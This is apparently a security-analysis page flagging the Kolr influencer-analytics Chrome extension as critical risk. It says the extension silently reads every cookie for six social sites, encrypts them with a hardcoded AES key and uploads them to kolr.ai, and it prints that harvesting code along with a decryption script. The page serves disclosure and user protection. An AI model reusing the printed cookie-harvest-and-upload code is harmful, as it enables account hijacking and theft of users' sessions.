Is Kolr - AI Influencer Analytics Tool safe?

Critical risk

Kolr - AI Influencer Analytics Tool encrypts and uploads social-platform cookies to Kolr's lookup API.

When supported social sites load, the extension collects cookies for Facebook, Instagram, Threads, YouTube, X, and TikTok domains. It encrypts those cookie strings in the browser and sends them to Kolr's influencer lookup endpoint.

Kolrv1.10.1Chrome Web Store
94Risk
Who publishes it

愛卡拉互動媒體股份有限公司 - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Kolr
Declared legal entity
愛卡拉互動媒體股份有限公司
Registered address
南京東路二段167號, 8樓, 中山區, 台北市 104, TW
Registered contact
愛卡拉互動媒體股份有限公司

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

One social media page load harvests cookies from six platforms for Kolr

Loading one Instagram, Facebook, YouTube, X, TikTok, or Threads page makes the extension read your cookies for all six sites, encrypt them with a key shipped in its own code, and send them to Kolr's backend.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open any page on Instagram, Facebook, YouTube, X, TikTok, or Threads while signed in.

No click, install prompt, or extension UI interaction is needed.

The extension did this

The extension reads your browser cookies for all six platforms, encrypts each set, and uploads them to Kolr's backend.

This includes the five platforms you did not visit in this session, not just the one whose page you loaded.

What the decrypted upload for one platform contains
  • Every cookie set for that platform
    sessionid=52adjk9x8fzq1; c_user=100093827461502; xs=41%3Aabc123XYZ_token

    All cookies your browser holds for the domain are joined into one string, including session and login cookies, not a single chosen value.

  • Which platform the cookies came from
    .facebook.com

    Sent alongside the encrypted blob so Kolr's backend knows which of the six sites each cookie jar belongs to.

  • Extension version tag
    version=1.8.1

    Appended to the cookie string before encryption so Kolr can correlate uploads with a specific extension release.

Why you can't catch this in DevTools

Each cookie string is AES encrypted before it leaves the browser, so the request body is unreadable without the key. The key is shipped in the extension's own code. (illustrative values; a real capture carries your own cookies)

Decoded value
sessionid=52adjk9x8fzq1; c_user=100093827461502; xs=41%3Aabc123XYZ_token; version=1.8.1
The code that does this

Automatic injection, cookie read, and encrypt-and-send, as shipped vs renamed for readability

Readable version

Automatic injection on page load

src/pages/background/index.js
function injectOnTabUpdated() {  chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {    if (!tab?.url || changeInfo.status !== "complete") return;    const { injected, platform } = getInjectionState(tabId);    const match = detectSupportedPlatform(stripQuery(tab.url));    const origin = new URL(tab.url);    if (injected && !origin.origin.includes(platform)) markInjected(tabId, platform, false);    if (match.instagram) injectContentScript(tabId, "instagram", false);    if (match.youtube) injectContentScript(tabId, "youtube", false);    if (match.facebook) injectContentScript(tabId, "facebook", false);    if (match.threads) injectContentScript(tabId, "threads", false);  });}function injectOnNavigationComplete() {  chrome.webNavigation.onDOMContentLoaded.addListener(details => {    if (details.frameType !== "outermost_frame") return;    const match = detectSupportedPlatform(stripQuery(details.url));    for (const platform of ["instagram", "youtube", "facebook", "threads"]) {      if (match[platform]) {        markInjected(details.tabId, platform, false);        injectContentScript(details.tabId, platform, false);      }    }  });}

Cookie read handler

src/pages/background/index.js
const MessageType = {  SyncLocale: "SyncLocale",  SetUtmSourceCookie: "SetUtmSourceCookie",  GetCookies: "GetCookies",  // ...other message types};function routeBackgroundMessage(message, sender) {  const pageUrl = stripQuery(sender.tab?.url);  switch (message.type) {    case MessageType.GetCookies:      return readAllCookiesForDomain(message.payload);    // ...other message types  }}async function readAllCookiesForDomain({ domain }) {  return await chrome.cookies.getAll({ domain });}

Cookie harvest, encrypt, and send

src/pages/content/index.js
const AES_KEY = "69f03de1e08e55b5"; // used as both the AES key and the IVfunction encryptCookieString(plaintext) {  const key = CryptoJS.enc.Utf8.parse(AES_KEY);  return CryptoJS.AES.encrypt(plaintext, key, {    iv: key,    mode: CryptoJS.mode.CBC,    padding: CryptoJS.pad.Pkcs7,  }).ciphertext.toString();}const cookiesToString = cookies => cookies.map(c => `${c.name}=${c.value}`).join(";");async function buildEncryptedLookup(domain) {  const result = await sendToBackground({ type: "GetCookies", payload: { domain } });  if (!result.success) return;  const plaintext = [cookiesToString(result.data), "version=1.8.1"].join(";");  return encryptCookieString(plaintext);}const SUPPORTED_DOMAINS = [".facebook.com", ".instagram.com", ".threads.com", ".youtube.com", ".x.com", ".tiktok.com"];function harvestAndSendAllCookies() {  const [sendLookUpData] = useSendLookUpDataMutation();  useEffect(() => {    Promise.all(SUPPORTED_DOMAINS.map(buildEncryptedLookup)).then(payloads => {      payloads.forEach((encrypted, i) => {        const domain = SUPPORTED_DOMAINS[i];        if (encrypted) sendLookUpData({ lookup: encrypted, url: domain });        else console.error("getLookUp error for url:", domain);      });    });  }, []);}
Reproduce it yourself

Decrypts a captured Kolr lookup request body using the extension's own hardcoded AES key so you can see exactly what cookie data it sent.

Requires
  • Node.js 18+
kolr-cookie-decrypt.js · js
// Decrypts a captured Kolr "lookup" request body using the extension's own// hardcoded AES key. The extension uses the ASCII string "69f03de1e08e55b5"// as BOTH the AES-128 key and the CBC initialization vector.const crypto = require("crypto");const KEY = Buffer.from("69f03de1e08e55b5", "utf8"); // 16 bytes, used as keyconst IV = KEY;                                       // same bytes, used as IVfunction decryptLookup(hexCiphertext) {  const ciphertext = Buffer.from(hexCiphertext, "hex");  const decipher = crypto.createDecipheriv("aes-128-cbc", KEY, IV);  const plaintext = Buffer.concat([decipher.update(ciphertext), decipher.final()]);  return plaintext.toString("utf8");}const hex = process.argv[2];if (!hex) {  console.error("Usage: node kolr-cookie-decrypt.js <hex_ciphertext_from_lookup_field>");  process.exit(1);}console.log(decryptLookup(hex));
How to run it
  1. 1node kolr-cookie-decrypt.js <hex_value_of_the_lookup_field>
Where the encrypted cookie data goes
    • www.kolr.ai

    The extension developer's own backend. Receives encrypted cookie jars for six social platforms on every covered page load, not only pages on kolr.ai.

Where it sends data

Destinations our analysis observed Kolr - AI Influencer Analytics Tool contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.kolr.ai

    Kolr - AI Influencer Analytics Tool sends data to www.kolr.ai. No other extension we have analysed sends data here.

Updated 30 September 2026amjaoklkeffceamacmpblhhhfajdoihl